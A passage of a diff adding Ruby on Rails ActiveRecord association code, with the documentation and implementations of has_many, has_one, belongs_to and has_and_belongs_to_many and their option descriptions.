+      #   Removes every object from the collection. This destroys the associated objects if they
+      #   are associated with <tt>:dependent => :destroy</tt>, deletes them directly from the
+      #   database if <tt>:dependent => :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
+      # [collection.empty?]
+      #   Returns +true+ if there are no associated objects.
+      # [collection.size]
+      #   Returns the number of associated objects.
+      # [collection.find(...)]
+      #   Finds an associated object according to the same rules as ActiveRecord::Base.find.
+      # [collection.exist?(...)]
+      #   Checks whether an associated object with the given conditions exists.
+      #   Uses the same rules as ActiveRecord::Base.exists?.
+      # [collection.build(attributes = {}, ...)]
+      #   Returns one or more new objects of the collection type that have been instantiated
+      #   with +attributes+ and linked to this object through a foreign key, but have not yet
+      #   been saved. <b>Note:</b> This only works if an associated object already exists, not if
+      #   it's +nil+!
+      # [collection.create(attributes = {})]
+      #   Returns a new object of the collection type that has been instantiated
+      #   with +attributes+, linked to this object through a foreign key, and that has already
+      #   been saved (if it passed the validation). <b>Note:</b> This only works if an associated
+      #   object already exists, not if it's +nil+!
+      #
+      # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
+      # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
+      #
+      # === Example
+      #
+      # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:
+      # * <tt>Firm#clients</tt> (similar to <tt>Clients.find :all, :conditions => ["firm_id = ?", id]</tt>)
+      # * <tt>Firm#clients<<</tt>
+      # * <tt>Firm#clients.delete</tt>
+      # * <tt>Firm#clients=</tt>
+      # * <tt>Firm#client_ids</tt>
+      # * <tt>Firm#client_ids=</tt>
+      # * <tt>Firm#clients.clear</tt>
+      # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
+      # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
+      # * <tt>Firm#clients.find</tt> (similar to <tt>Client.find(id, :conditions => "firm_id = #{id}")</tt>)
+      # * <tt>Firm#clients.exist?(:name => 'ACME')</tt> (similar to <tt>Client.exist?(:name => 'ACME', :firm_id => firm.id)</tt>)
+      # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
+      # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
+      # The declaration can also include an options hash to specialize the behavior of the association.
+      #
+      # === Supported options
+      # [:class_name]
+      #   Specify the class name of the association. Use it only if that name can't be inferred
+      #   from the association name. So <tt>has_many :products</tt> will by default be linked to the Product class, but
+      #   if the real class name is SpecialProduct, you'll have to specify it with this option.
+      # [:conditions]
+      #   Specify the conditions that the associated objects must meet in order to be included as a +WHERE+
+      #   SQL fragment, such as <tt>price > 5 AND name LIKE 'B%'</tt>.  Record creations from the association are scoped if a hash
+      #   is used.  <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt>
+      #   or <tt>@blog.posts.build</tt>.
+      # [:order]
+      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
+      #   such as <tt>last_name, first_name DESC</tt>.
+      # [:foreign_key]
+      #   Specify the foreign key used for the association. By default this is guessed to be the name
+      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+ association will use "person_id"
+      #   as the default <tt>:foreign_key</tt>.
+      # [:primary_key]
+      #   Specify the method that returns the primary key used for the association. By default this is +id+.
+      # [:dependent]
+      #   If set to <tt>:destroy</tt> all the associated objects are destroyed
+      #   alongside this object by calling their +destroy+ method.  If set to <tt>:delete_all</tt> all associated
+      #   objects are deleted *without* calling their +destroy+ method.  If set to <tt>:nullify</tt> all associated
+      #   objects' foreign keys are set to +NULL+ *without* calling their +save+ callbacks. *Warning:* This option is ignored when also using
+      #   the <tt>:through</tt> option.
+      # [:finder_sql]
+      #   Specify a complete SQL statement to fetch the association. This is a good way to go for complex
+      #   associations that depend on multiple tables. Note: When this option is used, +find_in_collection+ is _not_ added.
+      # [:counter_sql]
+      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
+      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
+      # [:extend]
+      #   Specify a named module for extending the proxy. See "Association extensions".
+      # [:include]
+      #   Specify second-order associations that should be eager loaded when the collection is loaded.
+      # [:group]
+      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # [:limit]
+      #   An integer determining the limit on the number of rows that should be returned.
+      # [:offset]
+      #   An integer determining the offset from where the rows should be fetched. So at 5, it would skip the first 4 rows.
+      # [:select]
+      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if you, for example, want to do a join
+      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
+      # [:as]
+      #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
+      # [:through]
+      #   Specifies a Join Model through which to perform the query.  Options for <tt>:class_name</tt> and <tt>:foreign_key</tt>
+      #   are ignored, as the association uses the source reflection. You can only use a <tt>:through</tt> query through a <tt>belongs_to</tt>
+      #   or <tt>has_many</tt> association on the join model.
+      # [:source]
+      #   Specifies the source association name used by <tt>has_many :through</tt> queries.  Only use it if the name cannot be
+      #   inferred from the association.  <tt>has_many :subscribers, :through => :subscriptions</tt> will look for either <tt>:subscribers</tt> or
+      #   <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
+      # [:source_type]
+      #   Specifies type of the source association used by <tt>has_many :through</tt> queries where the source
+      #   association is a polymorphic +belongs_to+.
+      # [:uniq]
+      #   If true, duplicates will be omitted from the collection. Useful in conjunction with <tt>:through</tt>.
+      # [:readonly]
+      #   If true, all the associated objects are readonly through the association.
+      # [:validate]
+      #   If false, don't validate the associated objects when saving the parent object. true by default.
+      # Option examples:
+      #   has_many :comments, :order => "posted_on"
+      #   has_many :comments, :include => :author
+      #   has_many :people, :class_name => "Person", :conditions => "deleted = 0", :order => "name"
+      #   has_many :tracks, :order => "position", :dependent => :destroy
+      #   has_many :comments, :dependent => :nullify
+      #   has_many :tags, :as => :taggable
+      #   has_many :reports, :readonly => true
+      #   has_many :subscribers, :through => :subscriptions, :source => :user
+      #   has_many :subscribers, :class_name => "Person", :finder_sql =>
+      #       'SELECT DISTINCT people.* ' +
+      #       'FROM people p, post_subscriptions ps ' +
+      #       'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' +
+      #       'ORDER BY p.first_name'
+      def has_many(association_id, options = {}, &extension)
+        reflection = create_has_many_reflection(association_id, options, &extension)
+
+        configure_dependency_for_has_many(reflection)
+
+        add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
+        add_multiple_associated_save_callbacks(reflection.name)
+        add_association_callbacks(reflection.name, reflection.options)
+
+        if options[:through]
+          collection_accessor_methods(reflection, HasManyThroughAssociation)
+        else
+          collection_accessor_methods(reflection, HasManyAssociation)
+        end
+      end
+
+      # Specifies a one-to-one association with another class. This method should only be used
+      # if the other class contains the foreign key. If the current class contains the foreign key,
+      # then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview
+      # on when to use has_one and when to use belongs_to.
+      #
+      # The following methods for retrieval and query of a single associated object will be added:
+      #
+      # [association(force_reload = false)]
+      #   Returns the associated object. +nil+ is returned if none is found.
+      # [association=(associate)]
+      #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
+      #   and saves the associate object.
+      # [association.nil?]
+      #   Returns +true+ if there is no associated object.
+      # [build_association(attributes = {})]
+      #   Returns a new object of the associated type that has been instantiated
+      #   with +attributes+ and linked to this object through a foreign key, but has not
+      #   yet been saved. <b>Note:</b> This ONLY works if an association already exists.
+      #   It will NOT work if the association is +nil+.
+      # [create_association(attributes = {})]
+      #   Returns a new object of the associated type that has been instantiated
+      #   with +attributes+, linked to this object through a foreign key, and that
+      #   has already been saved (if it passed the validation).
+      #
+      # (+association+ is replaced with the symbol passed as the first argument, so
+      # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
+      #
+      # === Example
+      #
+      # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
+      # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.find(:first, :conditions => "account_id = #{id}")</tt>)
+      # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
+      # * <tt>Account#beneficiary.nil?</tt>
+      # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
+      # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
+      #
+      # === Options
+      #
+      # The declaration can also include an options hash to specialize the behavior of the association.
+      #
+      # Options are:
+      # [:class_name]
+      #   Specify the class name of the association. Use it only if that name can't be inferred
+      #   from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
+      #   if the real class name is Person, you'll have to specify it with this option.
+      # [:conditions]
+      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
+      #   SQL fragment, such as <tt>rank = 5</tt>.
+      # [:order]
+      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
+      #   such as <tt>last_name, first_name DESC</tt>.
+      # [:dependent]
+      #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
+      #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. If set to <tt>:nullify</tt>, the associated
+      #   object's foreign key is set to +NULL+. Also, association is assigned.
+      # [:foreign_key]
+      #   Specify the foreign key used for the association. By default this is guessed to be the name
+      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association will use "person_id"
+      #   as the default <tt>:foreign_key</tt>.
+      # [:primary_key]
+      #   Specify the method that returns the primary key used for the association. By default this is +id+.
+      # [:include]
+      #   Specify second-order associations that should be eager loaded when this object is loaded.
+      # [:as]
+      #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
+      # [:select]
+      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
+      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
+      # [:through]
+      #   Specifies a Join Model through which to perform the query.  Options for <tt>:class_name</tt> and <tt>:foreign_key</tt>
+      #   are ignored, as the association uses the source reflection. You can only use a <tt>:through</tt> query through a 
+      #   <tt>has_one</tt> or <tt>belongs_to</tt> association on the join model.
+      # [:source]
+      #   Specifies the source association name used by <tt>has_one :through</tt> queries.  Only use it if the name cannot be
+      #   inferred from the association.  <tt>has_one :favorite, :through => :favorites</tt> will look for a
+      #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.      
+      # [:source_type]
+      #   Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
+      #   association is a polymorphic +belongs_to+.      
+      # [:readonly]
+      #   If true, the associated object is readonly through the association.
+      # [:validate]
+      #   If false, don't validate the associated object when saving the parent object. +false+ by default.
+      #
+      # Option examples:
+      #   has_one :credit_card, :dependent => :destroy  # destroys the associated credit card
+      #   has_one :credit_card, :dependent => :nullify  # updates the associated records foreign key value to NULL rather than destroying it
+      #   has_one :last_comment, :class_name => "Comment", :order => "posted_on"
+      #   has_one :project_manager, :class_name => "Person", :conditions => "role = 'project_manager'"
+      #   has_one :attachment, :as => :attachable
+      #   has_one :boss, :readonly => :true
+      #   has_one :club, :through => :membership
+      #   has_one :primary_address, :through => :addressables, :conditions => ["addressable.primary = ?", true], :source => :addressable
+      def has_one(association_id, options = {})
+        if options[:through]
+          reflection = create_has_one_through_reflection(association_id, options)
+          association_accessor_methods(reflection, ActiveRecord::Associations::HasOneThroughAssociation)
+        else
+          reflection = create_has_one_reflection(association_id, options)
+
+          ivar = "@#{reflection.name}"
+
+          method_name = "has_one_after_save_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if !association.nil? && (new_record? || association.new_record? || association[reflection.primary_key_name] != id)
+              association[reflection.primary_key_name] = id
+              association.save(true)
+            end
+          end
+          after_save method_name
+
+          add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
+          association_accessor_methods(reflection, HasOneAssociation)
+          association_constructor_method(:build,  reflection, HasOneAssociation)
+          association_constructor_method(:create, reflection, HasOneAssociation)
+
+          configure_dependency_for_has_one(reflection)
+        end
+      end
+
+      # Specifies a one-to-one association with another class. This method should only be used
+      # if this class contains the foreign key. If the other class contains the foreign key,
+      # then you should use +has_one+ instead. See also ActiveRecord::Associations::ClassMethods's overview
+      # on when to use +has_one+ and when to use +belongs_to+.
+      #
+      # Methods will be added for retrieval and query for a single associated object, for which
+      # this object holds an id:
+      #
+      # [association(force_reload = false)]
+      #   Returns the associated object. +nil+ is returned if none is found.
+      # [association=(associate)]
+      #   Assigns the associate object, extracts the primary key, and sets it as the foreign key.
+      # [association.nil?]
+      #   Returns +true+ if there is no associated object.
+      # [build_association(attributes = {})]
+      #   Returns a new object of the associated type that has been instantiated
+      #   with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
+      # [create_association(attributes = {})]
+      #   Returns a new object of the associated type that has been instantiated
+      #   with +attributes+, linked to this object through a foreign key, and that
+      #   has already been saved (if it passed the validation).
+      #
+      # (+association+ is replaced with the symbol passed as the first argument, so
+      # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
+      #
+      # === Example
+      #
+      # A Post class declares <tt>belongs_to :author</tt>, which will add:
+      # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
+      # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
+      # * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
+      # * <tt>Post#author.nil?</tt>
+      # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
+      # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
+      # The declaration can also include an options hash to specialize the behavior of the association.
+      #
+      # === Options
+      #
+      # [:class_name]
+      #   Specify the class name of the association. Use it only if that name can't be inferred
+      #   from the association name. So <tt>has_one :author</tt> will by default be linked to the Author class, but
+      #   if the real class name is Person, you'll have to specify it with this option.
+      # [:conditions]
+      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
+      #   SQL fragment, such as <tt>authorized = 1</tt>.
+      # [:select]
+      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
+      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
+      # [:foreign_key]
+      #   Specify the foreign key used for the association. By default this is guessed to be the name
+      #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt> association will use
+      #   "person_id" as the default <tt>:foreign_key</tt>. Similarly, <tt>belongs_to :favorite_person, :class_name => "Person"</tt>
+      #   will use a foreign key of "favorite_person_id".
+      # [:dependent]
+      #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
+      #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. This option should not be specified when
+      #   <tt>belongs_to</tt> is used in conjunction with a <tt>has_many</tt> relationship on another class because of the potential to leave
+      #   orphaned records behind.
+      # [:counter_cache]
+      #   Caches the number of belonging objects on the associate class through the use of +increment_counter+
+      #   and +decrement_counter+. The counter cache is incremented when an object of this class is created and decremented when it's
+      #   destroyed. This requires that a column named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
+      #   is used on the associate class (such as a Post class). You can also specify a custom counter cache column by providing
+      #   a column name instead of a +true+/+false+ value to this option (e.g., <tt>:counter_cache => :my_custom_counter</tt>.)
+      #   Note: Specifying a counter cache will add it to that model's list of readonly attributes using +attr_readonly+.
+      # [:include]
+      #   Specify second-order associations that should be eager loaded when this object is loaded.
+      # [:polymorphic]
+      #   Specify this association is a polymorphic association by passing +true+.
+      #   Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
+      #   to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
+      # [:readonly]
+      #   If true, the associated object is readonly through the association.
+      # [:validate]
+      #   If false, don't validate the associated objects when saving the parent object. +false+ by default.
+      #
+      # Option examples:
+      #   belongs_to :firm, :foreign_key => "client_of"
+      #   belongs_to :author, :class_name => "Person", :foreign_key => "author_id"
+      #   belongs_to :valid_coupon, :class_name => "Coupon", :foreign_key => "coupon_id",
+      #              :conditions => 'discounts > #{payments_count}'
+      #   belongs_to :attachable, :polymorphic => true
+      #   belongs_to :project, :readonly => true
+      #   belongs_to :post, :counter_cache => true
+      def belongs_to(association_id, options = {})
+        reflection = create_belongs_to_reflection(association_id, options)
+
+        ivar = "@#{reflection.name}"
+
+        if reflection.options[:polymorphic]
+          association_accessor_methods(reflection, BelongsToPolymorphicAssociation)
+
+          method_name = "polymorphic_belongs_to_before_save_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if association && association.target
+              if association.new_record?
+                association.save(true)
+              end
+
+              if association.updated?
+                self[reflection.primary_key_name] = association.id
+                self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
+              end
+            end
+          end
+          before_save method_name
+        else
+          association_accessor_methods(reflection, BelongsToAssociation)
+          association_constructor_method(:build,  reflection, BelongsToAssociation)
+          association_constructor_method(:create, reflection, BelongsToAssociation)
+
+          method_name = "belongs_to_before_save_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if !association.nil?
+              if association.new_record?
+                association.save(true)
+              end
+
+              if association.updated?
+                self[reflection.primary_key_name] = association.id
+              end
+            end
+          end
+          before_save method_name
+        end
+
+        # Create the callbacks to update counter cache
+        if options[:counter_cache]
+          cache_column = options[:counter_cache] == true ?
+            "#{self.to_s.demodulize.underscore.pluralize}_count" :
+            options[:counter_cache]
+
+          method_name = "belongs_to_counter_cache_after_create_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = send(reflection.name)
+            association.class.increment_counter(cache_column, send(reflection.primary_key_name)) unless association.nil?
+          end
+          after_create method_name
+
+          method_name = "belongs_to_counter_cache_before_destroy_for_#{reflection.name}".to_sym
+          define_method(method_name) do
+            association = send(reflection.name)
+            association.class.decrement_counter(cache_column, send(reflection.primary_key_name)) unless association.nil?
+          end
+          before_destroy method_name
+
+          module_eval(
+            "#{reflection.class_name}.send(:attr_readonly,\"#{cache_column}\".intern) if defined?(#{reflection.class_name}) && #{reflection.class_name}.respond_to?(:attr_readonly)"
+          )
+        end
+
+        add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true
+
+        configure_dependency_for_belongs_to(reflection)
+      end
+
+      # Specifies a many-to-many relationship with another class. This associates two classes via an
+      # intermediate join table.  Unless the join table is explicitly specified as an option, it is
+      # guessed using the lexical order of the class names. So a join between Developer and Project
+      # will give the default join table name of "developers_projects" because "D" outranks "P".  Note that this precedence
+      # is calculated using the <tt><</tt> operator for String.  This means that if the strings are of different lengths,
+      # and the strings are equal when compared up to the shortest length, then the longer string is considered of higher
+      # lexical precedence than the shorter one.  For example, one would expect the tables "paper_boxes" and "papers"
+      # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
+      # but it in fact generates a join table name of "paper_boxes_papers".  Be aware of this caveat, and use the
+      # custom <tt>:join_table</tt> option if you need to.
+      #
+      # Deprecated: Any additional fields added to the join table will be placed as attributes when pulling records out through
+      # +has_and_belongs_to_many+ associations. Records returned from join tables with additional attributes will be marked as
+      # readonly (because we can't save changes to the additional attributes). It's strongly recommended that you upgrade any
+      # associations with attributes to a real join model (see introduction).
+      #
+      # Adds the following methods for retrieval and query:
+      #
+      # [collection(force_reload = false)]
+      #   Returns an array of all the associated objects.
+      #   An empty array is returned if none are found.
+      # [collection<<(object, ...)]
+      #   Adds one or more objects to the collection by creating associations in the join table
+      #   (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
+      # [collection.delete(object, ...)]
+      #   Removes one or more objects from the collection by removing their associations from the join table.
+      #   This does not destroy the objects.
+      # [collection=objects]
+      #   Replaces the collection's content by deleting and adding objects as appropriate.
+      # [collection_singular_ids]
+      #   Returns an array of the associated objects' ids.
+      # [collection_singular_ids=ids]
+      #   Replace the collection by the objects identified by the primary keys in +ids+.
+      # [collection.clear]
+      #   Removes every object from the collection. This does not destroy the objects.
+      # [collection.empty?]
+      #   Returns +true+ if there are no associated objects.
+      # [collection.size]
+      #   Returns the number of associated objects.
+      # [collection.find(id)]
+      #   Finds an associated object responding to the +id+ and that
+      #   meets the condition that it has to be associated with this object.
+      #   Uses the same rules as ActiveRecord::Base.find.
+      # [collection.exist?(...)]
+      #   Checks whether an associated object with the given conditions exists.
+      #   Uses the same rules as ActiveRecord::Base.exists?.
+      # [collection.build(attributes = {})]
+      #   Returns a new object of the collection type that has been instantiated
+      #   with +attributes+ and linked to this object through the join table, but has not yet been saved.
+      # [collection.create(attributes = {})]
+      #   Returns a new object of the collection type that has been instantiated
+      #   with +attributes+, linked to this object through the join table, and that has already been saved (if it passed the validation).
+      #
+      # (+collection+ is replaced with the symbol passed as the first argument, so
+      # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
+      #
+      # === Example
+      #
+      # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
+      # * <tt>Developer#projects</tt>
+      # * <tt>Developer#projects<<</tt>
+      # * <tt>Developer#projects.delete</tt>
+      # * <tt>Developer#projects=</tt>
+      # * <tt>Developer#project_ids</tt>
+      # * <tt>Developer#project_ids=</tt>
+      # * <tt>Developer#projects.clear</tt>
+      # * <tt>Developer#projects.empty?</tt>
+      # * <tt>Developer#projects.size</tt>
+      # * <tt>Developer#projects.find(id)</tt>
+      # * <tt>Developer#clients.exist?(...)</tt>
+      # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("project_id" => id)</tt>)
+      # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("project_id" => id); c.save; c</tt>)
+      # The declaration may include an options hash to specialize the behavior of the association.
+      #
+      # === Options
+      #
+      # [:class_name]
+      #   Specify the class name of the association. Use it only if that name can't be inferred
+      #   from the association name. So <tt>has_and_belongs_to_many :projects</tt> will by default be linked to the
+      #   Project class, but if the real class name is SuperProject, you'll have to specify it with this option.
+      # [:join_table]
+      #   Specify the name of the join table if the default based on lexical order isn't what you want.
+      #   <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method
+      #   MUST be declared underneath any +has_and_belongs_to_many+ declaration in order to work.
+      # [:foreign_key]
+      #   Specify the foreign key used for the association. By default this is guessed to be the name
+      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_and_belongs_to_many+ association
+      #   will use "person_id" as the default <tt>:foreign_key</tt>.
+      # [:association_foreign_key]
+      #   Specify the association foreign key used for the association. By default this is
+      #   guessed to be the name of the associated class in lower-case and "_id" suffixed. So if the associated class is Project,
+      #   the +has_and_belongs_to_many+ association will use "project_id" as the default <tt>:association_foreign_key</tt>.
+      # [:conditions]
+      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
+      #   SQL fragment, such as <tt>authorized = 1</tt>.  Record creations from the association are scoped if a hash is used.  
+      #   <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt> 
+      #   or <tt>@blog.posts.build</tt>.
+      # [:order]
+      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
+      #   such as <tt>last_name, first_name DESC</tt>
+      # [:uniq]
+      #   If true, duplicate associated objects will be ignored by accessors and query methods.
+      # [:finder_sql]
+      #   Overwrite the default generated SQL statement used to fetch the association with a manual statement
+      # [:counter_sql]
+      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
+      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
+      # [:delete_sql]
+      #   Overwrite the default generated SQL statement used to remove links between the associated
+      #   classes with a manual statement.
+      # [:insert_sql]
+      #   Overwrite the default generated SQL statement used to add links between the associated classes
+      #   with a manual statement.
+      # [:extend]
+      #   Anonymous module for extending the proxy, see "Association extensions".
+      # [:include]
+      #   Specify second-order associations that should be eager loaded when the collection is loaded.
+      # [:group]
+      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # [:limit]
+      #   An integer determining the limit on the number of rows that should be returned.
+      # [:offset]
+      #   An integer determining the offset from where the rows should be fetched. So at 5, it would skip the first 4 rows.
+      # [:select]
+      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
+      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
+      # [:readonly]
+      #   If true, all the associated objects are readonly through the association.
+      # [:validate]
+      #   If false, don't validate the associated objects when saving the parent object. +true+ by default.
+      #
+      # Option examples:
+      #   has_and_belongs_to_many :projects
+      #   has_and_belongs_to_many :projects, :include => [ :milestones, :manager ]
+      #   has_and_belongs_to_many :nations, :class_name => "Country"
+      #   has_and_belongs_to_many :categories, :join_table => "prods_cats"
+      #   has_and_belongs_to_many :categories, :readonly => true
+      #   has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql =>
+      #   'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}'
+      def has_and_belongs_to_many(association_id, options = {}, &extension)
+        reflection = create_has_and_belongs_to_many_reflection(association_id, options, &extension)
+
+        add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false
+        add_multiple_associated_save_callbacks(reflection.name)
+        collection_accessor_methods(reflection, HasAndBelongsToManyAssociation)
+
+        # Don't use a before_destroy callback since users' before_destroy
+        # callbacks will be executed after the association is wiped out.
+        old_method = "destroy_without_habtm_shim_for_#{reflection.name}"
+        class_eval <<-end_eval unless method_defined?(old_method)
+          alias_method :#{old_method}, :destroy_without_callbacks
+          def destroy_without_callbacks
+            #{reflection.name}.clear
+            #{old_method}
+          end
+        end_eval
+
+        add_association_callbacks(reflection.name, options)
+      end
+
+      private
+        # Generates a join table name from two provided table names.
+        # The names in the join table namesme end up in lexicographic order.
+        #
+        #   join_table_name("members", "clubs")         # => "clubs_members"
+        #   join_table_name("members", "special_clubs") # => "members_special_clubs"
+        def join_table_name(first_table_name, second_table_name)
+          if first_table_name < second_table_name
+            join_table = "#{first_table_name}_#{second_table_name}"
+          else
+            join_table = "#{second_table_name}_#{first_table_name}"
+          end
+
+          table_name_prefix + join_table + table_name_suffix
+        end
+
+        def association_accessor_methods(reflection, association_proxy_class)
+          ivar = "@#{reflection.name}"
+
+          define_method(reflection.name) do |*params|
+            force_reload = params.first unless params.empty?
+
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if association.nil? || force_reload
+              association = association_proxy_class.new(self, reflection)
+              retval = association.reload
+              if retval.nil? and association_proxy_class == BelongsToAssociation
+                instance_variable_set(ivar, nil)
+                return nil
+              end
+              instance_variable_set(ivar, association)
+            end
+
+            association.target.nil? ? nil : association
+          end
+
+          define_method("loaded_#{reflection.name}?") do
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+            association && association.loaded?
+          end
+
+          define_method("#{reflection.name}=") do |new_value|
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if association.nil? || association.target != new_value
+              association = association_proxy_class.new(self, reflection)
+            end
+
+            if association_proxy_class == HasOneThroughAssociation
+              association.create_through_record(new_value)
+              self.send(reflection.name, new_value)
+            else
+              association.replace(new_value)
+              instance_variable_set(ivar, new_value.nil? ? nil : association)
+            end
+          end
+
+          define_method("set_#{reflection.name}_target") do |target|
+            return if target.nil? and association_proxy_class == BelongsToAssociation
+            association = association_proxy_class.new(self, reflection)
+            association.target = target
+            instance_variable_set(ivar, association)
+          end
+        end
+
+        def collection_reader_method(reflection, association_proxy_class)
+          define_method(reflection.name) do |*params|
+            ivar = "@#{reflection.name}"
+
+            force_reload = params.first unless params.empty?
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            unless association.respond_to?(:loaded?)
+              association = association_proxy_class.new(self, reflection)
+              instance_variable_set(ivar, association)
+            end
+
+            association.reload if force_reload
+
+            association
+          end
+
+          define_method("#{reflection.name.to_s.singularize}_ids") do
+            if send(reflection.name).loaded? || reflection.options[:finder_sql]
+              send(reflection.name).map(&:id)
+            else
+              send(reflection.name).all(:select => "#{reflection.quoted_table_name}.#{reflection.klass.primary_key}").map(&:id)
+            end
+          end
+        end
+
+        def collection_accessor_methods(reflection, association_proxy_class, writer = true)
+          collection_reader_method(reflection, association_proxy_class)
+
+          if writer
+            define_method("#{reflection.name}=") do |new_value|
+              # Loads proxy class instance (defined in collection_reader_method) if not already loaded
+              association = send(reflection.name)
+              association.replace(new_value)
+              association
+            end
+
+            define_method("#{reflection.name.to_s.singularize}_ids=") do |new_value|
+              ids = (new_value || []).reject { |nid| nid.blank? }
+              send("#{reflection.name}=", reflection.class_name.constantize.find(ids))
+            end
+          end
+        end
+
+        def add_single_associated_validation_callbacks(association_name)
+          method_name = "validate_associated_records_for_#{association_name}".to_sym
+          define_method(method_name) do
+            association = instance_variable_get("@#{association_name}")
+            if !association.nil?
+              errors.add association_name unless association.target.nil? || association.valid?
+            end
+          end
+
+          validate method_name
+        end
+
+        def add_multiple_associated_validation_callbacks(association_name)
+          method_name = "validate_associated_records_for_#{association_name}".to_sym
+          ivar = "@#{association_name}"
+
+          define_method(method_name) do
